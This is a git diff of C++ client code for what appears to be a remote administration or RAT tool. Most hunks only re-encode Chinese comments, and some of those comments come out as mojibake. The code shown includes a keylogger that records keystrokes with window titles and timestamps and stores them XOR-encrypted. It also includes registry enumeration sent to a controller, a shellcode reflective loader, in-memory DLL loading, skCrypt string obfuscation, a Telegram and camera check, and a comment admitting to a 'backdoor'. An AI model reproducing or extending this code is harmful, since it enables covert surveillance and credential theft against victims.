--- a/client/IOCPUDPClient.h +++ b/client/IOCPUDPClient.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "IOCPClient.h" class IOCPUDPClient : public IOCPClient diff --git a/client/KernelManager.h b/client/KernelManager.h index c2bd527..cd9fcfe 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -1,4 +1,4 @@ -// KernelManager.h: interface for the CKernelManager class. +// KernelManager.h: interface for the CKernelManager class. // ////////////////////////////////////////////////////////////////////// @@ -20,7 +20,7 @@ #include #include "LoginServer.h" -// þʲôͨѶЭ +// 根据配置决定采用什么通讯协议 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false); ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP); @@ -81,7 +81,7 @@ private: bool IsWorkstationLocked() { HDESK hInput = OpenInputDesktop(0, FALSE, GENERIC_READ); - // ޷棬ΪѾл Winlogon + // 如果无法打开桌面,可能是因为桌面已经切换到 Winlogon if (!hInput) return true; char name[256] = {0}; DWORD needed; @@ -95,9 +95,9 @@ private: }; struct RttEstimator { - double srtt = 0.0; // ƽ RTT () - double rttvar = 0.0; // RTT () - double rto = 0.0; // ʱʱ () + double srtt = 0.0; // 平滑 RTT (秒) + double rttvar = 0.0; // RTT 波动 (秒) + double rto = 0.0; // 超时时间 (秒) bool initialized = false; void update_from_sample(double rtt_ms) @@ -105,7 +105,7 @@ struct RttEstimator { const double alpha = 1.0 / 8; const double beta = 1.0 / 4; - // ת + // 转换成秒 double rtt = rtt_ms / 1000.0; if (!initialized) { @@ -119,7 +119,7 @@ struct RttEstimator { rto = srtt + 4.0 * rttvar; } - // С RTORFC 6298 Ƽ 1 룩 + // 限制最小 RTO(RFC 6298 推荐 1 秒) if (rto < 1.0) rto = 1.0; } }; @@ -135,20 +135,20 @@ public: virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength); ThreadInfo* m_hKeyboard; ThreadInfo m_hThread[MAX_THREADNUM]; - // ֵԭڼ¼߳߳ʱm_hThreadԽ³쳣 - // ҽֵĺ޸Ϊ"߳±"m_hThreadָλÿãµ̷߳ڸλ + // 此值在原代码中是用于记录线程数量;当线程数量超出限制时m_hThread会越界而导致程序异常 + // 因此我将此值的含义修改为"可用线程下标",代表数组m_hThread中所指位置可用,即创建新的线程放置在该位置 ULONG m_ulThreadCount; UINT GetAvailableIndex(); State& g_bExit; // Hide base class variable static int g_IsAppExit; MasterSettings m_settings; - RttEstimator m_nNetPing; // ״ - // + RttEstimator m_nNetPing; // 网络状况 + // 发送心跳 virtual int SendHeartbeat() { for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i) Sleep(1000); - if (m_settings.ReportInterval <= 0) { // رϱϢ + if (m_settings.ReportInterval <= 0) { // 关闭上报信息(含心跳) for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected()&& m_settings.ReportInterval <= 0; --i) Sleep(1000); return 0; @@ -171,28 +171,28 @@ public: bool SoftwareCheck(int type) { static std::map m = { - {SOFTWARE_CAMERA, "ͷ"}, + {SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "telegram.exe" }, }; static bool hasCamera = WebCamIsExist(); return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] }); } - // Ƿ + // 检查进程是否正在运行 bool IsProcessRunning(const std::vector& processNames) { PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); - // ȡǰϵͳн̵Ŀ + // 获取当前系统中所有进程的快照 HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) return true; - // н + // 遍历所有进程 if (Process32First(hProcessSnap, &pe32)) { do { for (const auto& processName : processNames) { - // ƥ䣬򷵻 true + // 如果进程名称匹配,则返回 true if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) { SAFE_CLOSE_HANDLE(hProcessSnap); return true; @@ -211,10 +211,10 @@ public: }; // [IMPORTANT] -// Ȩ: ڴȨصӦһȨɹ߳̽˳ٺؽݽ. -// ȨɹֺصӣбҪݽܱΪšDZ. -// ע: Ȩͨں˹ĴͬȨиȨصϢ. -// κͼͨ޸ĴȡȨΪDzģҲɹǿ˳. +// 授权管理器: 用于处理授权相关的心跳和响应,一旦授权成功则此线程将主动退出,不再和主控进行数据交互. +// 如果授权不成功则继续保持和主控的连接,包括进行必要的数据交互,这可能被定义为“后门”,但这是必须的. +// 注意: 授权管理器和普通的内核管理器在心跳包的处理上有所不同,授权管理器会在心跳包中附加授权相关的信息. +// 任何试图通过修改此类取消授权检查的行为都是不被允许的,并且不会成功,甚至可能引起程序强制退出. class AuthKernelManager : public CKernelManager { public: diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index dcb7367..564569e 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -1,4 +1,4 @@ -// KeyboardManager.cpp: implementation of the CKeyboardManager class. +// KeyboardManager.cpp: implementation of the CKeyboardManager class. // ////////////////////////////////////////////////////////////////////// @@ -141,14 +141,14 @@ int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize) return nRet; } -std::string GetKey(int Key) // жϼ̰ʲô +std::string GetKey(int Key) // 判断键盘按下什么键 { GET_PROCESS(DLLS[USER32], GetKeyState); std::string KeyString = ""; - //жϷ - const int KeyPressMask=0x80000000; //볣 - int iShift=GetKeyState(0x10); //жShift״̬ - bool IS=(iShift & KeyPressMask)==KeyPressMask; //ʾShift + //判断符号输入 + const int KeyPressMask=0x80000000; //键盘掩码常量 + int iShift=GetKeyState(0x10); //判断Shift键状态 + bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键 if(Key >=186 && Key <=222) { switch(Key) { case 186: @@ -219,10 +219,10 @@ std::string GetKey(int Key) // break; } } - //жϼ̵ĵһ - if (Key == VK_ESCAPE) // ˳ + //判断键盘的第一行 + if (Key == VK_ESCAPE) // 退出 KeyString = skCrypt("[Esc]"); - else if (Key == VK_F1) // F1F12 + else if (Key == VK_F1) // F1至F12 KeyString = skCrypt("[F1]"); else if (Key == VK_F2) KeyString = skCrypt("[F2]"); @@ -246,61 +246,61 @@ std::string GetKey(int Key) // KeyString = skCrypt("[F11]"); else if (Key == VK_F12) KeyString = skCrypt("[F12]"); - else if (Key == VK_SNAPSHOT) // ӡĻ + else if (Key == VK_SNAPSHOT) // 打印屏幕 KeyString = skCrypt("[PrScrn]"); - else if (Key == VK_SCROLL) // + else if (Key == VK_SCROLL) // 滚动锁定 KeyString = skCrypt("[Scroll Lock]"); - else if (Key == VK_PAUSE) // ͣж + else if (Key == VK_PAUSE) // 暂停、中断 KeyString = skCrypt("[Pause]"); - else if (Key == VK_CAPITAL) // д + else if (Key == VK_CAPITAL) // 大写锁定 KeyString = skCrypt("[Caps Lock]"); //-------------------------------------// - //Ƽ - else if (Key == 8) //<- ظ + //控制键 + else if (Key == 8) //<- 回格键 KeyString = skCrypt("[Backspace]"); - else if (Key == VK_RETURN) // س + else if (Key == VK_RETURN) // 回车键、换行 KeyString = skCrypt("[Enter]\n"); - else if (Key == VK_SPACE) // ո + else if (Key == VK_SPACE) // 空格 KeyString = skCrypt(" "); - //ϵ:̼¼ʱ򣬿Բ¼ShiftDzκַ - //ϵͱļϣʱַ + //上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符, + //上档键和别的键组合,输出时有字符输出 /* - else if (Key == VK_LSHIFT) // ϵ + else if (Key == VK_LSHIFT) // 左侧上档键 KeyString = skCrypt("[Shift]"); - else if (Key == VK_LSHIFT) // Ҳϵ + else if (Key == VK_LSHIFT) // 右侧上档键 KeyString = skCrypt("[SHIFT]"); */ - /*ֻǶԼĸм¼:Բ¼ļ*/ - else if (Key == VK_TAB) // Ʊ + /*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/ + else if (Key == VK_TAB) // 制表键 KeyString = skCrypt("[Tab]"); - else if (Key == VK_LCONTROL) // Ƽ + else if (Key == VK_LCONTROL) // 左控制键 KeyString = skCrypt("[Ctrl]"); - else if (Key == VK_RCONTROL) // ҿƼ + else if (Key == VK_RCONTROL) // 右控制键 KeyString = skCrypt("[CTRL]"); - else if (Key == VK_LMENU) // 󻻵 + else if (Key == VK_LMENU) // 左换档键 KeyString = skCrypt("[Alt]"); - else if (Key == VK_LMENU) // һ + else if (Key == VK_LMENU) // 右换档键 KeyString = skCrypt("[ALT]"); - else if (Key == VK_LWIN) // WINDOWS + else if (Key == VK_LWIN) // 右 WINDOWS 键 KeyString = skCrypt("[Win]"); - else if (Key == VK_RWIN) // WINDOWS + else if (Key == VK_RWIN) // 右 WINDOWS 键 KeyString = skCrypt("[WIN]"); - else if (Key == VK_APPS) // Ҽ - KeyString = skCrypt("Ҽ"); - else if (Key == VK_INSERT) // + else if (Key == VK_APPS) // 键盘上 右键 + KeyString = skCrypt("右键"); + else if (Key == VK_INSERT) // 插入 KeyString = skCrypt("[Insert]"); - else if (Key == VK_DELETE) // ɾ + else if (Key == VK_DELETE) // 删除 KeyString = skCrypt("[Delete]"); - else if (Key == VK_HOME) // ʼ + else if (Key == VK_HOME) // 起始 KeyString = skCrypt("[Home]"); - else if (Key == VK_END) // + else if (Key == VK_END) // 结束 KeyString = skCrypt("[End]"); - else if (Key == VK_PRIOR) // һҳ + else if (Key == VK_PRIOR) // 上一页 KeyString = skCrypt("[PgUp]"); - else if (Key == VK_NEXT) // һҳ + else if (Key == VK_NEXT) // 下一页 KeyString = skCrypt("[PgDown]"); - // õļ:һû + // 不常用的几个键:一般键盘没有 else if (Key == VK_CANCEL) // Cancel KeyString = skCrypt("[Cancel]"); else if (Key == VK_CLEAR) // Clear @@ -313,17 +313,17 @@ std::string GetKey(int Key) // KeyString = skCrypt("[Execute]"); //----------------------------------------// - else if (Key == VK_LEFT) //ϡ¡Ҽ - KeyString = skCrypt("[]"); + else if (Key == VK_LEFT) //上、下、左、右键 + KeyString = skCrypt("[←]"); else if (Key == VK_RIGHT) - KeyString = skCrypt("[]"); + KeyString = skCrypt("[→]"); else if (Key == VK_UP) - KeyString = skCrypt("[]"); + KeyString = skCrypt("[↑]"); else if (Key == VK_DOWN) - KeyString = skCrypt("[]"); - else if (Key == VK_NUMLOCK)//С + KeyString = skCrypt("[↓]"); + else if (Key == VK_NUMLOCK)//小键盘数码锁定 KeyString = skCrypt("[NumLock]"); - else if (Key == VK_ADD) // ӡˡ + else if (Key == VK_ADD) // 加、减、乘、除 KeyString = skCrypt("+"); else if (Key == VK_SUBTRACT) KeyString = skCrypt("-"); @@ -331,9 +331,9 @@ std::string GetKey(int Key) // KeyString = skCrypt("*"); else if (Key == VK_DIVIDE) KeyString = skCrypt("/"); - else if (Key == 190 || Key == 110) // С . . + else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 . KeyString = skCrypt("."); - //Сּ:0-9 + //小键盘数字键:0-9 else if (Key == VK_NUMPAD0) KeyString = skCrypt("0"); else if (Key == VK_NUMPAD1) @@ -357,20 +357,20 @@ std::string GetKey(int Key) // //-------------------------------------------// //-------------------------------------------// - //*ĸĴСдж*// - else if (Key >=97 && Key <= 122) { // ĸ:a-z - if (GetKeyState(VK_CAPITAL)) { // д - if(IS) //Shift:ΪСдĸ + //*对字母的大小写进行判断*// + else if (Key >=97 && Key <= 122) { // 字母:a-z + if (GetKeyState(VK_CAPITAL)) { // 大写锁定 + if(IS) //Shift按下:为小写字母 KeyString = Key; - else // ֻдд:дĸ + else // 只有大写锁定:输出大写字母 KeyString = Key - 32; - } else { // дû - if(IS) // Shift: дĸ + } else { // 大写没有锁定 + if(IS) // 按下Shift键: 大写字母 KeyString = Key - 32; - else // ûаShift: Сдĸ + else // 没有按Shift键: 小写字母 KeyString = Key; } - } else if (Key >=48 && Key <= 57) { // :0-9Ϸķ + } else if (Key >=48 && Key <= 57) { // 键盘数字:0-9及上方的符号 if(IS) { switch(Key) { case 48: //0 @@ -408,13 +408,13 @@ std::string GetKey(int Key) // KeyString = Key; } if (Key != VK_LBUTTON || Key != VK_RBUTTON) { - if (Key >=65 && Key <=90) { //ASCII 65-90 ΪA-Z - if (GetKeyState(VK_CAPITAL)) { // д:A-Z - if(IS) // дҰϵ:ΪСдĸ + if (Key >=65 && Key <=90) { //ASCII 65-90 为A-Z + if (GetKeyState(VK_CAPITAL)) { // 大写锁定:输出A-Z + if(IS) // 大写锁定,并且按下上档键:输出为小写字母 KeyString = Key + 32; - else //ֻдд:Ϊдĸ + else //只有大写锁定:输出为大写字母 KeyString = Key; - } else { // дû:a-z + } else { // 大写没有锁定:a-z if(IS) { KeyString = Key; } else { @@ -438,7 +438,7 @@ BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowC if (hasData) { SYSTEMTIME s; GetLocalTime(&s); - sprintf(szText, _T("\r\n[:] %s\r\n[ʱ:]%d-%02d-%02d %02d:%02d:%02d\r\n"), + sprintf(szText, _T("\r\n[标题:] %s\r\n[时间:]%d-%02d-%02d %02d:%02d:%02d\r\n"), WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond); } memset(WindowCaption, 0, CAPTION_SIZE); @@ -593,16 +593,16 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam) int num = lstrlen(KeyBuffer); if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) { bool newWindowInput = strlen(szText); - if (newWindowInput) { // µĴм + if (newWindowInput) { // 在新的窗口有键盘输入 lstrcat(KeyBuffer, szText); memset(szText, 0, sizeof(szText)); } if (lstrlen(KeyBuffer) > 0) { if (!newWindowInput) lstrcat(KeyBuffer, _T("\r\n")); - const int offset = sizeof(_T("\r\n[:]")) - 1; + const int offset = sizeof(_T("\r\n[内容:]")) - 1; memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer)); - memcpy(KeyBuffer, _T("\r\n[:]"), offset); + memcpy(KeyBuffer, _T("\r\n[内容:]"), offset); pThis->m_Buffer->Write(KeyBuffer, strlen(KeyBuffer)); memset(KeyBuffer,0,sizeof(KeyBuffer)); } diff --git a/client/KeyboardManager.h b/client/KeyboardManager.h index 38bd04c..a9269e6 100644 --- a/client/KeyboardManager.h +++ b/client/KeyboardManager.h @@ -1,4 +1,4 @@ -// KeyboardManager.h: interface for the CKeyboardManager class. +// KeyboardManager.h: interface for the CKeyboardManager class. // ////////////////////////////////////////////////////////////////////// @@ -16,19 +16,19 @@ #define BUFFER_SIZE 10*1024*1024 -// ѭ +// 循环缓存 class CircularBuffer { private: - char* m_buffer; // - int m_size; // С - int m_write; // дָ - int m_read; // ָ - CRITICAL_SECTION m_cs; // ߳ͬ - char m_key; // XOR ӽܵԿ + char* m_buffer; // 缓冲区 + int m_size; // 缓冲区大小 + int m_write; // 写指针 + int m_read; // 读指针 + CRITICAL_SECTION m_cs; // 线程同步 + char m_key; // 用于 XOR 加解密的密钥 public: - // 캯ļ + // 构造函数:从文件加载数据 CircularBuffer(const std::string& filename, int size = BUFFER_SIZE, char key = '`') : m_size(size), m_write(0), m_read(0), m_key(key) { @@ -37,19 +37,19 @@ public: LoadDataFromFile(filename); } - // Դ + // 析构函数:清理资源 ~CircularBuffer() { DeleteCriticalSection(&m_cs); delete[] m_buffer; } - // ջ + // 清空缓存 void Clear() { EnterCriticalSection(&m_cs); - // öдָ + // 重置读写指针 m_write = 0; m_read = 0; memset(m_buffer, 0, m_size); @@ -57,28 +57,28 @@ public: LeaveCriticalSection(&m_cs); } - // /ܲXOR + // 加密/解密操作(XOR) void XORData(char* data, int length) { for (int i = 0; i < length; i++) { - data[i] ^= m_key; // Կ XOR + data[i] ^= m_key; // 用密钥进行 XOR 操作 } } - // ļݵ + // 从文件加载数据到缓冲区 bool LoadDataFromFile(const std::string& filename) { EnterCriticalSection(&m_cs); - // ļ + // 打开文件 HANDLE hFile = CreateFileA( - filename.c_str(), // ļ· - GENERIC_READ, // ֻȨ - 0, // - NULL, // Ĭϰȫ - OPEN_EXISTING, // ļ - FILE_ATTRIBUTE_NORMAL, // ļ - NULL // Ҫģļ + filename.c_str(), // 文件路径 + GENERIC_READ, // 只读权限 + 0, // 不共享 + NULL, // 默认安全属性 + OPEN_EXISTING, // 文件必须存在 + FILE_ATTRIBUTE_NORMAL, // 常规文件属性 + NULL // 不需要模板文件 ); if (hFile == INVALID_HANDLE_VALUE) { @@ -87,24 +87,24 @@ public: return false; } - // ȡļ + // 读取文件数据 DWORD bytesRead = 0; while (m_write < m_size) { if (!ReadFile(hFile, m_buffer + m_write, m_size - m_write, &bytesRead, NULL) || bytesRead == 0) { break; } - XORData(m_buffer + m_write, bytesRead); // + XORData(m_buffer + m_write, bytesRead); // 解密数据 m_write = (m_write + bytesRead) % m_size; } - // رļ + // 关闭文件句柄 SAFE_CLOSE_HANDLE(hFile); LeaveCriticalSection(&m_cs); return true; } - // дݣˣͷд룩 + // 写入数据(如果缓冲区满了,从头部覆盖写入) int Write(const char* data, int length) { EnterCriticalSection(&m_cs); @@ -113,17 +113,17 @@ public: m_buffer[m_write] = data[i]; m_write = (m_write + 1) % m_size; - // дָ׷϶ָʱǰƶָʵָд + // 当写指针追上读指针时,前移读指针实现覆盖写入 if (m_write == m_read) { m_read = (m_read + 1) % m_size; } } LeaveCriticalSection(&m_cs); - return length; // ʵдֽ + return length; // 返回实际写入的字节数 } - // ָλÿʼȡ + // 从指定位置开始读取数据 char* Read(int &pos, int &bytesRead) { EnterCriticalSection(&m_cs); @@ -138,7 +138,7 @@ public: int size = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write)); char* outBuffer = size ? new char[size] : NULL; for (int i = 0; i < size; i++) { - if (m_read == m_write) { // Ϊ + if (m_read == m_write) { // 缓冲区为空 break; } outBuffer[i] = m_buffer[m_read]; @@ -148,15 +148,15 @@ public: pos = m_write; LeaveCriticalSection(&m_cs); - return outBuffer; // ʵʶȡֽ + return outBuffer; // 返回实际读取的字节数 } - // дļܣ + // 将缓存中所有数据写入文件(加密) bool WriteAvailableDataToFile(const std::string& filename) { EnterCriticalSection(&m_cs); - // ȡݵĴС + // 获取所有数据的大小 m_read = m_write + 1; while (m_read < m_size && m_buffer[m_read] == 0) m_read++; if (m_read == m_size) m_read = 0; @@ -164,26 +164,26 @@ public: if (totalSize == 0) { LeaveCriticalSection(&m_cs); - return true; // ûݿд + return true; // 没有数据可写入 } - // ļԽд + // 打开文件以进行写入 HANDLE hFile = CreateFileA( - filename.c_str(), // ļ· - GENERIC_WRITE, // дȨ - 0, // - NULL, // Ĭϰȫ - CREATE_ALWAYS, // ļ򸲸 - FILE_ATTRIBUTE_NORMAL, // ļ - NULL // Ҫģļ + filename.c_str(), // 文件路径 + GENERIC_WRITE, // 写权限 + 0, // 不共享 + NULL, // 默认安全属性 + CREATE_ALWAYS, // 如果文件存在则覆盖 + FILE_ATTRIBUTE_NORMAL, // 常规文件属性 + NULL // 不需要模板文件 ); if (hFile == INVALID_HANDLE_VALUE) { LeaveCriticalSection(&m_cs); - return false; // ļʧ + return false; // 打开文件失败 } - // д뻺е + // 写入缓冲区中的所有数据 int bytesWritten = 0; DWORD bytesToWrite = totalSize; const int size = 64*1024; @@ -191,22 +191,22 @@ public: while (bytesWritten < totalSize) { DWORD bufferSize = min(bytesToWrite, size); - // 仺 + // 填充缓冲区 for (int i = 0; i < bufferSize && m_read != m_write; ) { buffer[i++] = m_buffer[m_read]; m_read = (m_read + 1) % m_size; } - // + // 加密数据 XORData(buffer, bufferSize); - // дļ + // 写入文件 DWORD bytesActuallyWritten = 0; if (!WriteFile(hFile, buffer, bufferSize, &bytesActuallyWritten, NULL)) { SAFE_CLOSE_HANDLE(hFile); LeaveCriticalSection(&m_cs); delete[] buffer; - return false; // дʧ + return false; // 写入失败 } bytesWritten += bytesActuallyWritten; @@ -214,7 +214,7 @@ public: } delete[] buffer; - // رļ + // 关闭文件句柄 SAFE_CLOSE_HANDLE(hFile); LeaveCriticalSection(&m_cs); diff --git a/client/Loader.cpp b/client/Loader.cpp index 95d19c2..093d195 100644 --- a/client/Loader.cpp +++ b/client/Loader.cpp @@ -1,4 +1,4 @@ -// RDIShellcodeCLoader.cpp : Defines the entry point for the console application. +// RDIShellcodeCLoader.cpp : Defines the entry point for the console application. // https://github.com/Drewsif/sRDI/blob/master/Native/Loader.cpp #include diff --git a/client/LoginServer.h b/client/LoginServer.h index d04a1df..2bca204 100644 --- a/client/LoginServer.h +++ b/client/LoginServer.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "IOCPClient.h" #include diff --git a/client/Manager.cpp b/client/Manager.cpp index 5adee3a..7f3b59f 100644 --- a/client/Manager.cpp +++ b/client/Manager.cpp @@ -1,4 +1,4 @@ -// Manager.cpp: implementation of the CManager class. +// Manager.cpp: implementation of the CManager class. // ////////////////////////////////////////////////////////////////////// @@ -10,7 +10,7 @@ typedef struct { unsigned(__stdcall* start_address)(void*); void* arglist; - bool bInteractive; // 是否支持交互桌面 + bool bInteractive; // 鏄惁鏀寔浜や簰妗岄潰 HANDLE hEventTransferArg; } THREAD_ARGLIST, * LPTHREAD_ARGLIST; @@ -23,7 +23,7 @@ unsigned int __stdcall ThreadLoader(LPVOID param) THREAD_ARGLIST arg; memcpy(&arg, param, sizeof(arg)); SetEvent(arg.hEventTransferArg); - // 与桌面交互 + // 涓庢闈氦浜? if (arg.bInteractive) SelectDesktop(NULL); @@ -139,7 +139,7 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess) return hInputDesktop; } -// 返回新桌面句柄,如果没有变化返回NULL +// 杩斿洖鏂版闈㈠彞鏌勶紝濡傛灉娌℃湁鍙樺寲杩斿洖NULL HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights) { HDESK hInputDesk = OpenActiveDesktop(accessRights); @@ -148,7 +148,7 @@ HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights) if (!currentDesk) { return hInputDesk; } else { - // 通过桌面名称判断是否真正变化 + // 閫氳繃妗岄潰鍚嶇О鍒ゆ柇鏄惁鐪熸鍙樺寲 char oldName[256] = { 0 }; char newName[256] = { 0 }; DWORD len = 0; @@ -164,8 +164,8 @@ HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights) return NULL; } -// 桌面切换辅助函数:通过桌面名称比较判断是否需要切换 -// 返回值:true表示桌面已切换,false表示桌面未变化 +// 妗岄潰鍒囨崲杈呭姪鍑芥暟锛氶€氳繃妗岄潰鍚嶇О姣旇緝鍒ゆ柇鏄惁闇€瑕佸垏鎹? +// 杩斿洖鍊硷細true琛ㄧず妗岄潰宸插垏鎹紝false琛ㄧず妗岄潰鏈彉鍖? bool SwitchToDesktopIfChanged(HDESK& currentDesk, DWORD accessRights) { HDESK hInputDesk = IsDesktopChanged(currentDesk, accessRights); @@ -257,7 +257,7 @@ BOOL CManager::Send(LPBYTE lpData, UINT nSize) VOID CManager::WaitForDialogOpen() { WaitForSingleObject(m_hEventDlgOpen, 8000); - //必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间 + //蹇呴』鐨凷leep,鍥犱负杩滅▼绐楀彛浠嶪nitDialog涓彂閫丆OMMAND_NEXT鍒版樉绀鸿繕瑕佷竴娈垫椂闂? Sleep(150); } diff --git a/client/Manager.h b/client/Manager.h index 90776cf..c6ff08f 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -1,4 +1,4 @@ -// Manager.h: interface for the CManager class. +// Manager.h: interface for the CManager class. // ////////////////////////////////////////////////////////////////////// @@ -39,7 +39,7 @@ HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD class CManager : public IOCPManager { public: - const State&g_bExit; // 1-被控端退出 2-主控端退出 + const State&g_bExit; // 1-琚帶绔€€鍑?2-涓绘帶绔€€鍑? BOOL m_bReady; CManager(IOCPClient* ClientObject); virtual ~CManager(); diff --git a/client/MemoryModule.c b/client/MemoryModule.c index b43ad65..10f4b4b 100644 --- a/client/MemoryModule.c +++ b/client/MemoryModule.c @@ -1,4 +1,4 @@ -/* +/* * Memory DLL loading code * Version 0.0.4 * diff --git a/client/MemoryModule.h b/client/MemoryModule.h index d6fc142..6512744 100644 --- a/client/MemoryModule.h +++ b/client/MemoryModule.h @@ -1,4 +1,4 @@ -/* +/* * Memory DLL loading code * Version 0.0.4 * diff --git a/client/RegisterManager.cpp b/client/RegisterManager.cpp index 0f30c83..80841a0 100644 --- a/client/RegisterManager.cpp +++ b/client/RegisterManager.cpp @@ -1,4 +1,4 @@ -// RegisterManager.cpp: implementation of the CRegisterManager class. +// RegisterManager.cpp: implementation of the CRegisterManager class. // ////////////////////////////////////////////////////////////////////// @@ -19,17 +19,17 @@ CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user): CRegisterManager::~CRegisterManager() { - Mprintf("CRegisterManager \n"); + Mprintf("CRegisterManager 析构\n"); } VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { switch (szBuffer[0]) { - case COMMAND_REG_FIND: // + case COMMAND_REG_FIND: //查数据 if(ulLength>3) { Find(szBuffer[1],(char*)(szBuffer+2)); } else { - Find(szBuffer[1],NULL); //Root + Find(szBuffer[1],NULL); //Root数据 } break; default: @@ -46,12 +46,12 @@ VOID CRegisterManager::Find(char bToken, char *szPath) char *szBuffer= Opt.FindPath(); if(szBuffer!=NULL) { m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); - //Ŀ¼µĿ¼ + //目录下的目录 LocalFree(szBuffer); } szBuffer = Opt.FindKey(); if(szBuffer!=NULL) { - //Ŀ¼µļ + //目录下的文件 m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); LocalFree(szBuffer); } diff --git a/client/RegisterManager.h b/client/RegisterManager.h index 7280f4a..6d085b5 100644 --- a/client/RegisterManager.h +++ b/client/RegisterManager.h @@ -1,4 +1,4 @@ -// RegisterManager.h: interface for the CRegisterManager class. +// RegisterManager.h: interface for the CRegisterManager class. // ////////////////////////////////////////////////////////////////////// diff --git a/client/RegisterOperation.cpp b/client/RegisterOperation.cpp index d50d25c..3bb4d56 100644 --- a/client/RegisterOperation.cpp +++ b/client/RegisterOperation.cpp @@ -1,4 +1,4 @@ -// RegisterOperation.cpp: implementation of the RegisterOperation class. +// RegisterOperation.cpp: implementation of the RegisterOperation class. // ////////////////////////////////////////////////////////////////////// @@ -28,9 +28,9 @@ enum KEYVALUE { }; struct REGMSG { - int count; //ָ - DWORD size; //ִС - DWORD valsize; //ֵС + int count; //名字个数 + DWORD size; //名字大小 + DWORD valsize; //值大小 }; RegisterOperation::RegisterOperation(char bToken) @@ -68,17 +68,17 @@ RegisterOperation::~RegisterOperation() char* RegisterOperation::FindPath() { char *szBuffer=NULL; - HKEY hKey; //עؾ - /*ע User kdjfjkf\kdjfkdjf\ */ - if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { // + HKEY hKey; //注册表返回句柄 + /*打开注册表 User kdjfjkf\kdjfkdjf\ */ + if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开 DWORD dwIndex=0,NameCount,NameMaxLen; DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen; - //ö + //这就是枚举了 if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCount, //14 &KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDataLen,NULL,NULL)!=ERROR_SUCCESS) { return NULL; } - //һ㱣ʩ + //一点保护措施 KeySize=KeyMaxLen+1; if(KeyCount>0&&KeySize>1) { int Size=sizeof(REGMSG)+1; @@ -89,14 +89,14 @@ char* RegisterOperation::FindPath() return NULL; } ZeroMemory(szBuffer,DataSize); - szBuffer[0]=TOKEN_REG_PATH; //ͷ - REGMSG msg; //ͷ + szBuffer[0]=TOKEN_REG_PATH; //命令头 + REGMSG msg; //数据头 msg.size=KeySize; msg.count=KeyCount; memcpy(szBuffer+1,(void*)&msg,Size); char * szTemp=new char[KeySize]; - for(dwIndex=0; dwIndex #include -// RoutineInfo ¼߳Ϣ. +// RoutineInfo 记录线程相关信息. typedef struct RoutineInfo { - DWORD tid; // ߳ID + DWORD tid; // 线程ID - LPTHREAD_START_ROUTINE Func; // ̺߳ - LPVOID Param; // ̲߳ + LPTHREAD_START_ROUTINE Func; // 线程函数 + LPVOID Param; // 线程参数 - OnException Excep; // 쳣 - LPVOID User; // + OnException Excep; // 异常处理函数 + LPVOID User; // 额外参数 - std::string File; // ̵߳ļ - int Line; // ļ - std::string Name; // - bool Trace; // ׷߳ + std::string File; // 创建线程的文件 + int Line; // 文件行数 + std::string Name; // 函数名称 + bool Trace; // 追踪线程运行情况 } RoutineInfo; DWORD HandleCppException(RoutineInfo& ri) { try { - return ri.Func(ri.Param); // ʵ̺߳ + return ri.Func(ri.Param); // 调用实际线程函数 } catch (const std::exception& e) { if (ri.Excep) { - Mprintf("[%d] C++ 쳣: %s. [%s:%d]\n", ri.tid, e.what(), ri.File.c_str(), ri.Line); + Mprintf("[%d] 捕获 C++ 异常: %s. [%s:%d]\n", ri.tid, e.what(), ri.File.c_str(), ri.Line); return ri.Excep(ri.User, ri.Param); } - Mprintf("[%d] C++ 쳣: %s. ûṩ쳣[%s:%d]!\n", ri.tid, e.what(), ri.File.c_str(), ri.Line); + Mprintf("[%d] 捕获 C++ 异常: %s. 没有提供异常处理程序[%s:%d]!\n", ri.tid, e.what(), 